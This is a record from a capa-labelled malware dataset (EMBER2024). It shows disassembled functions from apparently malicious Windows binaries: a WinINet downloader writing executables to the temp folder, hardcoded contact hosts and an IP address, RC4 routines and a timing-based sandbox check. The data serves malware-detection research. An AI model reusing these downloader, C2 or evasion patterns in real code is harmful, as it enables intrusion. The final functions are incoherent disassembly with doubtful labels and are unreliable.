joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005819
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0x1000a754
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10005907
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100058a1
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push 0x1000a758
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x100058b1
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10005905
push dword [ebp - 0x80c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3ff
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp + 8]
jmp 0x10005976
jmp 0x1000595e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10005946
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push 0x1000a764
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x1000595e
push dword [ebp + 8]
push 0x1000a770
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x3ff
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp + 8]
leave
ret
Function at 0x10005a2d
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push esi
push edi
mov esi, str.Accept:___r_n_r_n
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], 0xff
and dword [ebp - 0x80], 0
push 0
push 0
push 0
push 1
push 0x1000b28c
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10005a72
xor eax, eax
jmp 0x10005b78
push 0x4000000
push 0x4000000
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x10005aab
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10005b78
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x10005ae5
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x10005b78
lea eax, [ebp - 0x80]
push eax
push 0x32
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10005b18
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10005b78
cmp dword [ebp - 0x80], 0
jne 0x10005b20
jmp 0x10005b60
push 0
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10005b59
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10005b78
push 1
pop eax
test eax, eax
jne 0x10005ae5
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x10005b7c
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x10005b9b
push 1
pop eax
jmp 0x10005b9d
xor eax, eax
leave
ret
Function at 0x10005b9f
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd40
mov dword [ebp - 0x2a0], 0x113
and dword [ebp - 0xc30], 0
and dword [ebp - 0xc2c], 0
mov dword [ebp - 0xd40], 1
mov dword [ebp - 0x118], 4
mov dword [ebp - 0x114], 1
and dword [ebp - 0xd3c], 0
and dword [ebp - 0xbe0], 0
and dword [ebp - 0xc28], 0
and dword [ebp - 4], 0
and dword [ebp - 0xbdc], 0
mov dword [ebp - 0x10], 1
push dword [ebp + 0xc]
call fcn.10005267
pop ecx
and dword [ebp - 0xbd8], 0
jmp 0x10005c24
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0xbd8], 0x2710
jae 0x10005c68
push 0
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 0x29c]
and eax, 0x20
mov dword [ebp - 0xd38], eax
cmp dword [ebp - 0xd38], 0
je 0x10005c64
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005c66
jmp 0x10005c68
jmp 0x10005c17
push 1
call fcn.10007c2a
pop ecx
test eax, eax
jne 0x10005c7b
xor eax, eax
jmp 0x10005e01
lea eax, [ebp - 0xc24]
push eax
call fcn.10005682
pop ecx
and byte [ebp - 0xbe4], 0
cmp dword [0x1000b150], 0
jne 0x10005cdd
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.10005b7c
push eax
push dword [0x1000e7b0]
push 0x113
push dword [0x1000a708]
push dword [0x1000a704]
push dword [ebp + 8]
push str.http:___s_search.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
jmp 0x10005d20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.10005b7c
push eax
push dword [0x1000e7b0]
push 0x113
push dword [0x1000a708]
push dword [0x1000a704]
push dword [ebp + 8]
push str.http:___s_dupe.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
push dword [0x1000a708]
push dword [0x1000a704]
push str._d_d
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x2d4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0xbdc], eax
lea eax, [ebp - 0xbe0]
push eax
push 1
lea eax, [ebp - 0x110]
push eax
call fcn.10007df0
add esp, 0xc
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xbe0], 0xa
jbe 0x10005ddc
push dword [ebp - 0xbdc]
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0xd34]
push eax
call fcn.10007a70
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
lea eax, [ebp - 0xd34]
push eax
call fcn.10007b41
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
call fcn.10007349
pop ecx
pop ecx
test eax, eax
je 0x10005dd3
call fcn.100081f9
push 1
pop eax
jmp 0x10005e01
call fcn.100081f9
xor eax, eax
jmp 0x10005e01
cmp dword [ebp - 0xc28], 0
je 0x10005dfa
push dword [ebp - 0xc28]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.100081f9
xor eax, eax
leave
ret
Function at 0x10005e03
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x64
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [0x1000b13c], eax
and dword [ebp - 8], 0
jmp 0x10005e24
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x14
jae 0x10005e41
push 0x32
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ecx, dword [ebp - 8]
mov edx, dword [0x1000b13c]
mov dword [edx + ecx*4], eax
jmp 0x10005e1d
push str.www.supernetforme.com
mov eax, dword [0x1000b13c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.94.75.229.248
mov eax, dword [0x1000b13c]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.www.superwebbysearch.com
mov eax, dword [0x1000b13c]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1000b13c]
and dword [eax + 0xc], 0
push 0x400
lea eax, [ebp - 0xc]
push eax
call fcn.100051dc
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x10005e9c
jmp 0x10005f33
push 1
pop eax
test eax, eax
je 0x10005f29
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b13c]
cmp dword [ecx + eax*4], 0
jne 0x10005ec0
and dword [ebp - 4], 0
jmp 0x10005f12
push dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b13c]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
call fcn.10005b9f
pop ecx
pop ecx
test eax, eax
je 0x10005efa
cmp dword [0x1000b150], 0
je 0x10005ef8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10005f12
cmp dword [0x1000b150], 0
je 0x10005f0b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
pop eax
test eax, eax
jne 0x10005eab
mov eax, dword [0x1000a700]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10005e9c
lea eax, [ebp - 0xc]
push eax
call fcn.1000519a
pop ecx
leave
ret
Function at 0x100061b7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
and dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x100061f6
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x100062c7
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000622d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x100062c7
and dword [ebp - 0x12c], 0
jmp 0x10006243
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
cmp eax, dword [0x1000e7b4]
jae 0x1000629b
lea eax, [ebp - 0x104]
push eax
call fcn.10006bfe
pop ecx
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
add eax, 0x1000b290
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x10006299
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
mov ecx, dword [0x1000e7b0]
or ecx, dword [eax + 0x1000b2d0]
mov dword [0x1000e7b0], ecx
jmp 0x10006236
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000622d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
leave
ret
Function at 0x100070a1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0x1000ac94
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10007188
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10007129
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_u.exe
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10007139
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10007183
mov eax, dword [ebp - 0x80c]
jmp 0x10007229
jmp 0x10007226
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100071c7
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_d.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x100071df
push dword [ebp + 8]
push str._s.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10007226
mov eax, dword [ebp - 0x80c]
jmp 0x10007229
or eax, 0xffffffff
leave
ret
Function at 0x100079f3
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0xedb88320
mov dword [ebp - 8], 0
jmp 0x10007a12
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x10007a69
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 8
jmp 0x10007a33
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jle 0x10007a5a
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x10007a50
mov ecx, dword [ebp - 4]
shr ecx, 1
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
jmp 0x10007a58
mov edx, dword [ebp - 4]
shr edx, 1
mov dword [ebp - 4], edx
jmp 0x10007a2a
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x1000e7bc], ecx
jmp 0x10007a09
mov esp, ebp
pop ebp
ret

Function at 0x10007b41
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax + 0x100]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
xor eax, eax
mov al, byte [edx + 0x101]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x14], 0
jmp 0x10007b7b
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0x10]
jge 0x10007c0e
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
and eax, 0xff
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov cl, byte [ebp - 4]
mov byte [eax], cl
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
xor eax, eax
mov al, byte [edx]
add eax, dword [ebp - 4]
and eax, 0xff
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov cl, byte [ecx]
xor cl, byte [edx + eax]
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x14]
mov byte [edx], cl
jmp 0x10007b72
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x10]
mov byte [eax + 0x101], cl
mov edx, dword [ebp + 8]
mov al, byte [ebp - 0xc]
mov byte [edx + 0x100], al
mov esp, ebp
pop ebp
ret
Function at 0x10007c2a
Capabilities:
Initialize iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x1000ebbc
push 0x1000a6e0
push 5
push 0
push 0x1000a6d0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x10007c63
cmp dword [0x1000ebbc], 0
jne 0x10007c68
or eax, 0xffffffff
jmp 0x10007cb2
cmp dword [ebp + 8], 0
je 0x10007c9a
push 0
mov eax, dword [0x1000ebbc]
mov eax, dword [eax]
push dword [0x1000ebbc]
call dword [eax + 0xa4]
push 0xffffffffffffffff
mov eax, dword [0x1000ebbc]
mov eax, dword [eax]
push dword [0x1000ebbc]
call dword [eax + 0xf0]
jmp 0x10007caf
push 0xffffffffffffffff
mov eax, dword [0x1000ebbc]
mov eax, dword [eax]
push dword [0x1000ebbc]
call dword [eax + 0xa4]
push 1
pop eax
leave
ret

Function at 0x10007cb4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x1000ebbc]
mov eax, dword [eax]
push dword [0x1000ebbc]
call dword [eax + 0xe0]
test eax, eax
jl 0x10007d28
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
cmp eax, 0x258
jle 0x10007d15
xor eax, eax
jmp 0x10007d2a
cmp dword [ebp - 4], 1
je 0x10007d26
cmp dword [ebp - 4], 3
je 0x10007d26
push 1
pop eax
jmp 0x10007d2a
jmp 0x10007ccc
xor eax, eax
leave
ret

Function at 0x1000812b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x10], 0
cmp dword [ebp + 8], 0
je 0x10008151
cmp dword [ebp + 0xc], 0
jne 0x10008159
or eax, 0xffffffff
jmp 0x100081f7
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10007df0
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10008178
xor eax, eax
jmp 0x100081f7
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x1000819f
or dword [ebp - 0xc], 0xffffffff
jmp 0x100081f5
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
je 0x100081c2
or dword [ebp - 0xc], 0xffffffff
jmp 0x100081c9
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
je 0x100081e1
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x14], 0xffffffff
je 0x100081f0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
jmp 0x100081f7
jmp 0x100081c9
leave
ret
Function at 0x4071e3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xor eax, eax
inc eax
imul eax, eax, 5
mov byte [ebp + eax - 0x104], 0x61
xor eax, eax
inc eax
imul eax, eax, 0x59
mov byte [ebp + eax - 0x104], 0x62
xor eax, eax
inc eax
imul eax, eax, 0x44
mov byte [ebp + eax - 0x104], 0x63
xor eax, eax
inc eax
imul eax, eax, 0xb7
mov byte [ebp + eax - 0x104], 0x64
jmp dword [ebx + esi - 0x40]
inc eax
imul eax, eax, 0x81
mov byte [ebp + eax - 0x104], 0x65
jmp dword [ebp + 0x33]
rol byte [eax + 0x69], 0xc0
out dx, eax
add byte [eax], al
add dh, al
test byte [0xfffffefc], al
xor ax, ax
inc eax
imul eax, eax, 0x89
mov byte [ebp + eax - 0x104], 0x67
xor eax, eax
inc eax
imul eax, eax, 0x90
mov byte [ebp + eax - 0x104], 0x68
xor eax, eax
inc eax
imul eax, eax, 0xfd
mov byte [ebp + eax - 0x104], 0x69
xor eax, eax
inc eax
imul eax, eax, 0xee
mov byte [ebp + eax - 0x104], 0x6a
xor eax, eax
inc eax
imul eax, eax, 0x48
mov byte [ebp + eax - 0x104], 0x6b
xor eax, eax
inc eax
imul eax, eax, 0x5c
mov byte [ebp + eax - 0x104], 0x6c
xor eax, eax
inc eax
imul eax, eax, 0x2f
mov byte [ebp + eax - 0x104], 0x6d
xor eax, eax
inc eax
imul eax, eax, 0xf0
mov byte [ebp + eax - 0x104], 0x6e
xor eax, eax
inc eax
imul eax, eax, 0xd1
mov byte [ebp + eax - 0x104], 0x6f
xor eax, eax
inc eax
imul eax, eax, 0x12
mov byte [ebp + eax - 0x104], 0x70
xor eax, eax
inc eax
imul eax, eax, 0x95
mov byte [ebp + eax - 0x104], 0x71
xor eax, eax
inc eax
imul eax, eax, 0x83
mov byte [ebp + eax - 0x104], 0x72
xor eax, eax
inc eax
imul eax, eax, 0xad
mov byte [ebp + eax - 0x104], 0x73
xor eax, eax
inc eax
imul eax, eax, 0x9c
mov byte [ebp + eax - 0x104], 0x74
xor eax, eax
inc eax
imul eax, eax, 0xb4
mov byte [ebp + eax - 0x104], 0x75
xor eax, eax
inc eax
imul eax, eax, 0xcd
mov byte [ebp + eax - 0x104], 0x76
xor eax, eax
inc eax
imul eax, eax, 0xab
mov byte [ebp + eax - 0x104], 0x77
xor eax, eax
inc eax
imul eax, eax, 0xbc
mov byte [ebp + eax - 0x104], 0x78
xor eax, eax
inc eax
imul eax, eax, 0xe3
mov byte [ebp + eax - 0x104], 0x79
xor eax, eax
inc eax
imul eax, eax, 0x1c
mov byte [ebp + eax - 0x104], 0x7a
xor eax, eax
inc eax
imul eax, eax, 0xda
mov byte [ebp + eax - 0x104], 0x7b
xor eax, eax
inc eax
imul eax, eax, 0x45
mov byte [ebp + eax - 0x104], 0x7c
xor eax, eax
inc eax
imul eax, eax, 0x97
mov byte [ebp + eax - 0x104], 0x7d
xor eax, eax
inc eax
imul eax, eax, 0x1e
mov byte [ebp + eax - 0x104], 0x7e
xor eax, eax
inc eax
imul eax, eax, 0x13
mov byte [ebp + eax - 0x104], 0x7f
xor eax, eax
inc eax
imul eax, eax, 0x73
mov byte [ebp + eax - 0x104], 0x80
xor eax, eax
inc eax
imul eax, eax, 0x82
mov byte [ebp + eax - 0x104], 0x81
xor eax, eax
inc eax
imul eax, eax, 0xff
mov byte [ebp + eax - 0x104], 0x82
xor eax, eax
inc eax
imul eax, eax, 0xa2
mov byte [ebp + eax - 0x104], 0x83
xor eax, eax
inc eax
imul eax, eax, 0xc0
mov byte [ebp + eax - 0x104], 0x84
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0x104], 0x85
xor eax, eax
rol byte [eax + 0x6b], 0xc0
push ecx
Function at 0x407ce9
Capabilities:
Parse credit card information
Parse pe header

Disassembly:
pop edx
pop edx
pop edx
pop edx
pop edx
add ebx, dword [edx + 90]
pop edx
add al, 90
pop edx
pop edx
pop edx
pop edx
pop edx
add eax, 123340378
pop edx
pop edx
or byte [edx + 90], bl
pop edx
pop edx
or dword [edx + 0xa], ebx
pop edx
or ebx, dword [edx + 0x5a]
pop edx
pop edx
or al, 90
or eax, 1515851354
pop edx
pop edx
pop edx
movups xmm3, xmmword [edx + 90]

Function at 0x407d1b
Capabilities:
Parse credit card information
Parse pe header

Disassembly:
adc dword [edx + 0x12], ebx
pop edx
pop edx
adc ebx, dword [edx + 0x14]
pop edx
pop edx
pop edx
pop edx
adc eax, 1515870810
pop edx
pop edx
pop edx
push ss
pop edx
pop ss
pop edx
pop edx
pop edx
sbb byte [edx + 90], bl
pop edx
pop edx
pop edx
pop edx
sbb dword [edx], ebx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
sbb ebx, dword [edx + ebx*2]
pop edx
pop edx
sbb eax, 509237850
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop ds
pop edx
pop edx
pop edx
pop edx
and byte [ecx], ah
and ah, byte [ebx]
and al, 90
pop edx
pop edx
and eax, 1515870810
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
daa
pop edx
sub byte [edx + 41], bl
pop edx
sub bl, byte [edx + 90]
sub ebx, dword [edx + 44]
pop edx
pop edx
pop edx
sub eax, 791566938
pop edx
xor byte [ecx], dh
pop edx
xor dh, byte [ebx]
xor al, 53
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
aaa
pop edx
pop edx
cmp byte [ecx], bh
pop edx
cmp bl, byte [edx + 90]
cmp ebx, dword [edx + 90]
cmp al, 90
pop edx
cmp eax, 1514101310
inc eax
inc ecx
inc edx
inc ebx
pop edx
inc esp
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
inc ebp
pop edx
pop edx
pop edx
inc esi
inc edi
dec eax
dec ecx
pop edx
dec edx
dec ebx
dec esp
pop edx
pop edx
pop edx
dec ebp
pop edx
pop edx
dec esi
dec edi
pop edx
push eax
pop edx
push ecx
pop edx
push edx
pop edx
pop edx
pop edx
pop edx
pop edx
pop edx
push ebx
push esp
push ebp
push esi
pop edx
pop edx
pop edx
push edi
pop eax
pop edx
pop edx
pop edx
pop ecx